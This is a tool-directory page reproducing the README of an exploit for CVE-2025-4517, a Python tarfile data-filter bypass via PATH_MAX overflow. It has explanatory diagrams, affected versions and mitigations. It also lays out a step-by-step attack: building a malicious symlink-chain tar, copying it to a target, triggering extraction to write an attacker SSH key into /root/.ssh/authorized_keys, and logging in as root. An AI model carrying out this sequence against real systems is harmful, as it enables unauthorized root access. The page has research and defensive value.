Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-4517-tarfile-PATH_MAX-bypass — Python tarfile data filter bypass via PATH_MAX overflow in os.path.realpath() - CVE-2025-4517 / CVE-2025-4330 | Kitploit
Tools/GitHubGitHub/0xdtc/cve-2025-4517-tarfile-path_max-bypass
Vulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationBinary Exploitation
GitHub0xdtc/cve-2025-4517-tarfile-path_max-bypass

CVE-2025-4517-tarfile-PATH_MAX-bypass

Python tarfile data filter bypass via PATH_MAX overflow in os.path.realpath() - CVE-2025-4517 / CVE-2025-4330

View Repository
816 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-4517 / CVE-2025-4330 — Python tarfile Data Filter Bypass via PATH_MAX Overflow

Author: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Advisory: GHSA-6r6c-684h-9j7p CPython Fix: PR #135037

Overview

Python's tarfile.extractall(filter="data") is supposed to safely extract tar archives by preventing path traversal (absolute paths, .. sequences, and symlinks escaping the destination). However, a bug in os.path.realpath(strict=False) allows this filter to be bypassed entirely.

When the resolved path exceeds PATH_MAX (4096 bytes on Linux), silently stops resolving symlinks and falls back to . This means a carefully crafted symlink chain can trick Python into thinking a symlink resolves inside the extraction directory when it actually escapes to .

os.path.realpath()
string manipulation
/

Affected Versions

BranchAffectedFixed In
3.12.x3.12.0 – 3.12.103.12.11
3.13.x3.13.0 – 3.13.33.13.4
3.14.x3.14.0a1 – 3.14.0a73.14.0b1

How It Works

The exploit constructs a tar archive containing:

  1. 16 directory/symlink pairs — each directory has a ~240-character name, with a short (1-char) symlink pointing to it
  2. A 254-character escaping symlink — placed at the end of the short chain, pointing back 16 levels
  3. An "escape" symlink — traverses the chain and exceeds PATH_MAX, tricking realpath
  4. A regular file — written through the escape symlink to an arbitrary location outside the extraction directory

The core insight: following a/b/c/.../p through short symlinks stays under PATH_MAX, but realpath expands each to the ~240-char real directory name. By the time it hits the 254-char link name, the resolved path exceeds 4096 bytes and realpath gives up — silently returning an incorrect result.

Data Flow Diagram

root@kitploit:~
flowchart TD
    A["Attacker crafts malicious tar"] --> B["tar contains:
    16 dir/symlink pairs
    254-char escape symlink
    'escape' symlink to /
    payload file"]

    B --> C["Target extracts with
    tarfile.extractall(filter='data')"]

    C --> D{"Python resolves symlinks
    via os.path.realpath()"}

    D --> E["Follows short symlinks a→ddd...d
    Resolved path grows with each step"]

    E --> F{"Resolved path length
    > PATH_MAX (4096)?"}

    F -->|"No (normal)"| G["realpath correctly resolves
    Symlink blocked by filter ✓"]

    F -->|"Yes (overflow!)"| H["realpath STOPS resolving
    Falls back to string manipulation"]

    H --> I["Python thinks symlink
    resolves INSIDE extraction dir"]

    I --> J["Filter PASSES the symlink ✗"]

    J --> K["OS follows symlink correctly
    'escape' resolves to /"]

    K --> L["Payload written to
    arbitrary file on disk"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

Attack Sequence

root@kitploit:~
sequenceDiagram
    participant A as Attacker Machine
    participant T as Target Machine

    Note over A: Phase 1 — Preparation
    A->>A: Generate SSH keypair (ssh-keygen)
    A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar

    Note over A,T: Phase 2 — Delivery
    A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
    T->>T: Place tar in location accessible<br/>to the vulnerable script

    Note over T: Phase 3 — Exploitation
    T->>T: Trigger extraction via the<br/>vulnerable Python script
    T->>T: Python calls tarfile.extractall(filter="data")

    Note over T: What Python sees vs reality
    T->>T: realpath() overflows at PATH_MAX
    T->>T: Filter thinks "escape" symlink is safe
    T->>T: OS follows "escape" → resolves to /
    T->>T: Payload written to /root/.ssh/authorized_keys

    Note over A,T: Phase 4 — Access
    A->>T: SSH as root using the written key
    T-->>A: Root shell obtained

Tar Archive Structure

root@kitploit:~
graph LR
    subgraph "Tar Members (extracted in order)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
    end

    S1 -.->|"short path<br/>stays small"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
    S5 -.->|"resolves to /"| F1

Usage

Configuration

Both scripts have a configuration section at the top with these variables:

VariableDescriptionExample
DEST_DIRFull path to the extraction directory on the target/tmp/staging/extract_dir/
DEPTH_TO_ROOTNumber of directories from / to DEST_DIR4 for /opt/app/staging/dir/
TARGET_FILEFile to write, relative to /root/.ssh/authorized_keys
PAYLOADContent to write into the target fileYour SSH public key
OUTPUTOutput tar filenameMust match the target's expected pattern

Attacker Machine

Option A: Python

root@kitploit:~
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. Generate the malicious tar
python3 CVE-2025-4517.py

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

Option B: Go

root@kitploit:~
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output

# 3. Generate the malicious tar
go run CVE-2025-4517.go

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

Target Machine

root@kitploit:~
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

Post-Exploitation

root@kitploit:~
# SSH as root using the planted key
ssh -i root_key root@target

Calculating DEPTH_TO_ROOT

Count the number of directories from / to your extraction path:

root@kitploit:~
/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3
root@kitploit:~
/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5
root@kitploit:~
/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

Vulnerable Code Pattern

Any Python script using tarfile.extractall() with filter="data" on an affected version is potentially exploitable:

root@kitploit:~
import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # VULNERABLE

The filter="data" was introduced as a security measure to prevent tar path traversal attacks. Ironically, the vulnerability exists in the very mechanism (os.path.realpath) that the filter relies on to validate symlink targets.

Mitigation

  • Upgrade Python to 3.12.11+, 3.13.4+, or 3.14.0b1+
  • Avoid extracting untrusted tar archives regardless of filter settings
  • Use additional validation on extracted file paths after extraction

References

  • CVE-2025-4517 - NVD
  • CVE-2025-4330 - Wiz Vulnerability Database
  • GHSA-6r6c-684h-9j7p - GitHub Advisory
  • CPython PR #135037 - Fix

Disclaimer

This tool is provided for authorized security testing, educational purposes, and research only. Only use this against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse of this tool.

License

MIT

Download Tool